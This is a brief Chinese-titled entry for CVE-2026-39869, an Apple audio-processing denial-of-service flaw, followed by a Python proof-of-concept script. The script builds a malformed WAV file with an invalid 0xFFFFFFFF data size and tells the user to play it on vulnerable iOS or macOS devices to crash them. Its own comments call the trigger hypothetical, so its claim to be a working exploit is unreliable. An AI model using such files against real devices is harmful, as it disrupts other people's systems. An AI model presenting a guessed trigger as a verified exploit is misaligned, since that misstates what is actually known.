CVE-2026-39869 Apple音频流处理内存问题导致拒绝服务漏洞

import struct # PoC for CVE-2026-39869: Apple Audio Stream Processing Memory Corruption # This script generates a malformed WAV file that may trigger a crash in vulnerable Apple devices. # Note: The specific trigger pattern is hypothetical based on the description of memory handling issues. def create_malformed_wav(filename): with open(filename, 'wb') as f: # RIFF chunk f.write(b'RIFF') # File size (placeholder) f.write(struct.pack('<I', 0)) # WAVE format f.write(b'WAVE') # fmt subchunk f.write(b'fmt ') # Subchunk1Size (16 for PCM) f.write(struct.pack('<I', 16)) # AudioFormat (1 = PCM) f.write(struct.pack('<H', 1)) # NumChannels (1 = Mono) f.write(struct.pack('<H', 1)) # SampleRate (8000 Hz) f.write(struct.pack('<I', 8000)) # ByteRate f.write(struct.pack('<I', 16000)) # BlockAlign f.write(struct.pack('<H', 2)) # BitsPerSample f.write(struct.pack('<H', 16)) # data subchunk f.write(b'data') # Subchunk2Size (Large invalid size to trigger memory handling issue) f.write(struct.pack('<I', 0xFFFFFFFF)) # Write some dummy audio data f.write(b'\x00' * 100) if __name__ == "__main__": print("Creating malformed WAV file for PoC testing...") create_malformed_wav("cve_2026_39869_poc.wav") print("File created: cve_2026_39869_poc.wav") print("Attempt to play this file on a vulnerable iOS/macOS device to trigger the vulnerability.")